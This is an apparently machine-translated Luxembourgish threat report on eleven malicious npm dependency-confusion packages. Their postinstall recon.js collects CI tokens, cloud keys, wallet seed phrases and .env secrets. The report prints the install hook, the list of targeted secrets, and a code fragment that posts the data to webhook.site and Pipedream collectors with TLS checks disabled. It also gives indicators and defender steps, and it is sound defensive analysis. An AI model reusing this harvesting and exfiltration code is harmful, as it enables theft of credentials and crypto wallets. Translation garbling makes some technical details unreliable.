CryptoDAO Duercherneen: npm Paketen Harvesting CI/CD a Krypto-Geheimnisser

CryptoDAO Duercherneen: eelef npm-Packagen, eng Payload, Harvesting CI/CD a Geheimnisser vu Krypto-Portemonnaien

TL; DR

Den 17. Juni 2026 gouf een eenzegen npm-Kont publizéiert. eelef Paketen, déi een Zweck an eng Notzlaascht deelenZéng vun hinnen droen den cryptodao- Präfix (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); den eeleften ass den ofgegrenzten @public-for-cdao/coreJidderee vun hinnen gouf an der Versioun publizéiert 99.99.99 a verschéckt e byte-identesche recon.js dat leeft weider postinstall.

D'Nimm soen alles. Si liesen sech wéi déi intern Bausteng vun der privater Toolchain vun engem Krypto-/DAO-Projet. Si goufen an enger künstlech héijer Versioun an der ëffentlecher npm-Registrierung publizéiert, wou se op e Build waarden. pipeline déi konfiguréiert ass fir dës Nimm opzeléisen an déi ëffentlech npm virun - oder amplaz - dem private Registry erreecht. Dëst ass Ofhängegkeetsverwirrung, an d'Notzlaascht ass genee do ofgestëmmt, wou se erwaart ze landen: CI/CD Leefer.

Wéini postinstall Feier, recon.js sammelt Detailer vum Gaascht, iwwerpréift ongeféier véierzeg Cloud-, CI- a Krypto-Portemonnaie-Ëmfeldvariablen, liest iergendeng .env Dateien, déi et fanne kann a leet d'Zeilen mat dem Geheimnis Wuert fir Wuert weider, da schéckt et de Bundle un zwee Sammler - webhook.site an en Pipedream Endpoint — mat TLS Zertifikatsverifizéierung deaktivéiert. Eng Kopie gëtt och ënner geschriwwen /tmp.

Gravitéit: héichBetroffent Ökosystem: npmAll eelef Pakete ware zum Zäitpunkt vum Schreiwen online.

Attack Anatomie

De Mechanismus huet véier bewegend Deeler, a kee vun hinnen ass subtil wann Dir et wësst kuckt eng Schicht iwwer den Numm vum Pak eraus.

1. Versiounsinflatioun als Resolver-Locker. All Pakett deklaréiert d'Versioun 99.99.99Ofhängegkeetsduercherneen funktionéiert wann e Paketmanager no engem ... freet. internen Numm, kontrolléiert och den ëffentleche Register a wielt déi héchst Versioun aus finds. D'Standardauswiel vun npm fir e Caret- oder Wildcard-Beräich ass den déi zefriddestellendst Versioun iwwer all konfiguréiert Quell; wann souwuel eng privat Registry an ëffentlech npm Äntwert fir deeselwechten Numm, gewënnt déi méi grouss Versiounsnummer. A 99.99.99 iwwertrëfft am Fong all richteg intern Versioun, déi e Projet huet erreecht, sou datt e Resolver, deen net un déi privat Quell ugepinn ass, léiwer den ëffentlech - an an dësem Fall, feindlech - Kopie. Den Operateur muss net wëssen, wat déi richteg Versiounsnummeren vum Zil; d'Auswiel vun engem absurde Maximum garantéiert ëmmer den Onentschieden brécht hire Wee.

2. En Ausléiser no der Installatioun. Package.json d'Notzlaascht un d'Installatioun verkabelen Liewenszyklus:

{   "scripts": { "postinstall": "node recon.js" } }

Kee Pak importéiert muss ginn. Et muss just installéiert ginn – wat e CI ass. pipeline leeft automatesch - leeft recon.js.

3. Eng breet geheim Entdeckung. recon.js stellt e Resultatsarray a Schrëtt zesummen:

  • Hostkontext: Hostnumm, Plattform a Versioun, Architektur, Benotzernumm, funktionéierend Dossier.
  • Ëmweltvariablen: et iteréiert eng fix Lëscht vu ronn véierzeg Nimm an Opzeechnungen all déi agestallt sinn. D'Lëscht ass opfälleg - si koppelt generesch CI-Tokens (CI_JOB_TOKEN, CI_REGISTRY_PASSWUERT, GITLAB_ACCESS_TOKEN) a Wollek Umeldungsinformatiounen (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) mat Registrierungs- a Containergeheimnisser (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) an e Cluster mat engem däitleche Krypto-Aroma:  PRIVATSCHLËSSEL, MNEMONIK, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCOpgezeichnete Wäerter ginn op déi éischt 50 Zeechen ofgeschnidden.
  • .NS Dateien: et sicht eng Lëscht vu Weeër no — .NS, ../.ëmfeld, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, an der .Produktioun/.Entwécklung Varianten - an fir all Datei déi existéiert, et filtert den Inhalt op Zeilen déi passen SCHLËSSEL|GEHEIMNIS|TOKEN|PASS|PRIVAT|MNEMONIK an dréckt dës Zeilen **vollstänneg, onverkierzt** an d'Resultater.
  • Build-Host Kontext: et lëscht déi éischt 20 Entréen vun /baut/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, an / tmp /.

D'Pfadlëscht an d'Variabellëscht gi Richtung GitLab-Runner gewiicht, wat drop hiweist d'Notzlaascht direkt op der selbstgehosteter CI-Infrastruktur anstatt op engem Entwéckler Laptop. Wann d'Lëscht vun den Ernte no Kategorie gruppéiert gëtt, gëtt den geplangten Ernte kloer:

Kategorie Variabelen / Weeër erreecht
CI/CD Identitéit & Asaz CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Cloud AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registrierung & Container NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Daten Geschäfter DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Krypto / Blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
aktivéieren SLACK_TOKEN, DISCORD_TOKEN
Op der Festplack .env Famill + /home/gitlab-runner/.env, /root/.env, /app/**/.env; Verzeichnislëschten vun /builds/, /var/lib/gitlab-runner/

De Kryptocluster ass den Deel, deen dëst vun engem generesche CI-Geheimnis ënnerscheet Sweep: Portemonnaie-Seed-Phrasen a Signéierungsschlësselen erschéngen nëmmen an der Ëmwelt vun engem Blockchain-Projet, an si mappen direkt op de Kryptodao-/Zeechen/Kontrakter d'Benennung vun den Träger.

4. Duebel Exfiltratioun mat deaktivéierter Verifizéierung. Déi gesammelt Array ass serialiséiert a POSTéiert op zwou Destinatiounen:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

refuséierenOnautoriséiert: falsch schalt TLS-Zertifikatskontrollen fir déi erausgehend Verbindung aus Uriff. Déi selwecht Donnéeë ginn op stdout gedréckt (sou datt se och an de CI-Jobprotokoller landen) an geschriwwen ze /tmp/.npm_recon_ .jsonFeeler ginn roueg verschléckt, also a Feeler beim Senden hannerléisst keng Spuer am Installatiounsoutput ausser enger eenzeger [Rekonstruktioun] installéiert op Linn.

E féierende Kommentar an der Datei beschreift et als eng "Ofhängegkeetsduercherneen". „Reconnaissance Payload.“ D'Ofkierzung vun den Ëmweltwäerter op 50 Zeechen huet d'Form vun engem Beweis vum Konzept. Wat et laanscht e Präsenz-nëmme-Beacon bréngt, ass den .NS Behandlung: Geheimlinne ginn vollstänneg weidergeleet, an d'Destinatiounen sinn zwéi funktionéierend, vun Ugräifer kontrolléiert Kollektoren anstatt e Spullbecken, deen nëmmen zielt Treffer.

Timeline

De Verëffentlechungsmuster ass d'Ënnerschrëft vun engem eenzege skriptéierte Push, net vun eelef. onofhängeg Uploads.

Zäit (UTC, 17.06.2026) Héichwaasser
03:24:58 cryptodao-bot@99.99.99 publizéiert
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — Scoped Variant, ~24 Minutte méi spéit

Zéng Päckelcher sinn bannent engem Zäitraum vun 29 Sekonnen erausgaangen, ongeféier een all dräi Sekonnen. Den Ëmfang @ëffentlech-fir-cdao/Kär gefollegt ongeféier 24 Minutten duerno - eng Sekonn Benennungskonventioun fir datselwecht Zil, am Fall wou de konsuméierende Projet op dat bezitt intern Toolchain ënner engem Ëmfang anstatt als blouss Nimm.

Indikatoren fir e Kompromëss

Type Luucht
Collector hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Collector hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Haken installéieren postinstall: node recon.js
Datei erofgelooss /tmp/.npm_recon_<timestamp>.json
Logmarkéierung [recon] <pkg>@<ver> installed on <hostname> (stdout an CI-Logbicher)
Verhalen rejectUnauthorized: false op ausgehenden HTTPS während der Installatioun
Notzlaascht recon.js, identesch iwwer all eelef Paketen (ee gemeinsam Build)
Versioun 99.99.99 op all Pak
Formulen cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (all 99.99.99)
Publisher aduljune / aduljune@proton.me (E-Mail net verifizéiert, kee verlinkte Quellrepository)

 Attributioun & observéiert Verhalen

Alles iwwer de Cluster weist op eng Hand hin. All eelef Pakete goufen publizéiert. vum npm-Kont Aduljune (aduljune@proton.me, eng net verifizéiert Adress ouni verlinkte Quellrepository), bannent engem Zäitraum vun 25 Minutten, gläichzäiteg 99.99.99 Versioun, Versand vun engem recon.js deem säin Inhalt Byte fir Byte identesch ass iwwer all Pak (MD5-Resultater treffen all eelef extrahéiert Kopien). Dat ass eng Notzlaascht op eng Lëscht vun Nimm gestämpelt, net onofhängeg Code-Wiederverwendung.

D'Lëscht vun den Nimm definéiert dat gezielt Zil. Kryptodao-* an cdao beschreift den Layout vum private Modul vun engem Krypto/DAO-Projet, an d'Erntelëscht vun der Payload Spigelen, déi roden: nieft dem generesche CI a Cloud-Geheimnisser, et speziell erreecht fir PRIVATSCHLËSSEL, MNEMONIK, SEED_PHRASE, an Ethereum/BSC RPC an Schlësselen vum Provider. Den .NS Sichweeër an Verzeichnislëschte sinn GitLab-Runner spezifesch. Den observéierbaren Effekt ass, datt all pipeline getäuscht fir dës z'installéieren Nimm géifen seng CI-Tokens, Cloud-Schlësselen an On-Disk weiderleeden .NS Geheimnisser — an, fir e Blockchain-Projet, säi Portemonnaie-Material - un zwee Drëtt-Partei-Sammler.

Mir maachen keng Aussoen doriwwer, wien de Kont bedreift oder wat se domat geplangt hunn ze maachen. Daten. D'Fakten, déi fir sech selwer stinn: d'Nimm zielen op eng spezifesch Aart vu intern Toolchain, d'Notzlaascht liest a vermëttelt richteg geheim Wäerter, an den D'Infrastruktur war live.

Impakt, Trends a Richtlinne fir Verdeedeger

Ofhängegkeetsverwirrung bleift effektiv well et de Resolververhalen ausnotzt, net e Schwachstelle an all Pak. Den Träger hei ass trivial - eelef bal eidel Paketen - awer de Sprengradius ass egal pipeline léiwer falsch ëffentlech npm fir en internen Numm. CI-Leefer sinn déi schlëmmst Plaz fir datt dat geschitt: si halen genau d'Tokens an .NS Dateien déi dës Notzlaascht liest, an si installéieren Ofhängegkeeten net interaktiv, also a no der Installatioun leeft ouni datt iergendeen kuckt.

Dëse Cluster passt och an e Muster, dat mir ëmmer erëm gesinn: Notzlaaschten zur Installatiounszäit, déi presentéieren als "Fuerschung" oder "Opklärung", wärend een tatsächlech Referenzen sammelt. D'Etikett an der Datei ännert näischt un deem, wat de Code op engem Läifer mécht. Zwee Designwahlen behalen d'Aktivitéit roueg: all Netzwierk- an Dateisystemoperatioun ass an engem agewéckelt Ausnambehandler, deen Feeler ignoréiert, also eng blockéiert Sendung oder eng fehlend Datei produzéiert keng diagnostesch Ausgab, an dat eenzegt wat gedréckt gëtt ass eng eenzeg onschëlleg [Rekonstruktioun] … installéiert Zeil déi sech an den normale Installatiounschatter vermëscht. D'Benotzung vun webhook.site a Pipedream ass och bewosst Komfort - béid sinn gratis, direkt Ufro-Erfassungs-Servicer zur Verfügung gestallt, sou datt den Operateur keng Server brauch hir eegen an d'Destinatioune gesi wéi normal SaaS-Hostnimm an Egress-Logbicher aus.

D'Wirtschaftlechkeet mécht dëst d'Opmierksamkeet vun engem Verdeedeger wäert, och wann den De Carrier-Code ass trivial. Eelef Nimm registréieren kascht näischt, d'Notzlaascht ass een Datei eelef Mol kopéiert, an de Pakmanager mécht déi ganz Ausféierung. Eng eenzeg falsch konfiguréiert pipeline iwwerall wou ee vun dësen Nimm konsuméiert gëtt, bezilt dat Ganzt Operatioun.

Konkret Schrëtt fir Verdeedeger:

  • Intern Scopes an Äert privatt Registry festpinnen. Konfiguréiert npm sou datt intern Nimm
     an Scopes léisen sech nëmme géint Är Registrierung op (scoped .npmrc Registrierungsmappings,
    oder e Proxy, deen ni fir ëffentlech npm fir eege Namespaces duerchfält). Reservéiert Är ëffentlech Scope-Nimm, sou datt keen aneren se registréiere kann.
  • Commit Spärdateien an Installatioun mat –ignore-Scripten an CI wou et méiglech ass, oder Iwwerpréift déi kleng Zuel vun Ofhängegkeeten, déi wierklech Installatiounsskripte brauchen.  recon.js kann net lafen, wann no der Installatioun gëtt net ausgefouert.
  • Behandelt eng 99.99.99 (oder aner absurd héich) Versioun vun engem intern ausgesienden Numm als e roude Fändel an der Ofhängegkeetskontroll an der Registeriwwerwaachung.
  • Alarm beim Ausgang vun der Installatiounsphase. A no der Installatioun dat en ausgehenden HTTPS opmécht Verbindung — besonnesch wann d'Zertifikatsverifizéierung deaktivéiert ass — op webhook.site, Pipedream oder ähnlech Request-Capture-Servicer ass derwäert, um Netzwierkrand ze blockéieren an an de Build-Logs ze markéieren.
  • Juegd op d'Artefakte. Kontrolléiert d'Leefer op /tmp/.npm_recon_*.json an fir de [recon] … installéiert op … Marker an de rezenten CI-Logbicher. Wann fonnt, rotéiert all Umeldungsinformatioun, déi deem ausgesat ass pipeline — CI-Token, Cloud-Schlësselen, Registry-Token an all Wallet-Seeds oder privat Schlësselen, déi an der Ëmwelt oder .env-Dateien präsent sinn.

Referenze

Zum Zäitpunkt vum Schreiwen gouf et keng extern Berichterstattung iwwer dëse Cluster; d'Analyse Déi uewe genannten Inhalter baséieren direkt op dem publizéierte Pakinhalt

sca-tools-software-zesummesetzungsanalyse-tools
Prioritäriséiert, behënnert a séchert Är Softwarerisiken
Kritt Äre gratis Kont.
Kee Kreditkaart erfuerderlech.

Séchert Är Softwareentwécklung a Liwwerung

mat der Xygeni Produkt Suite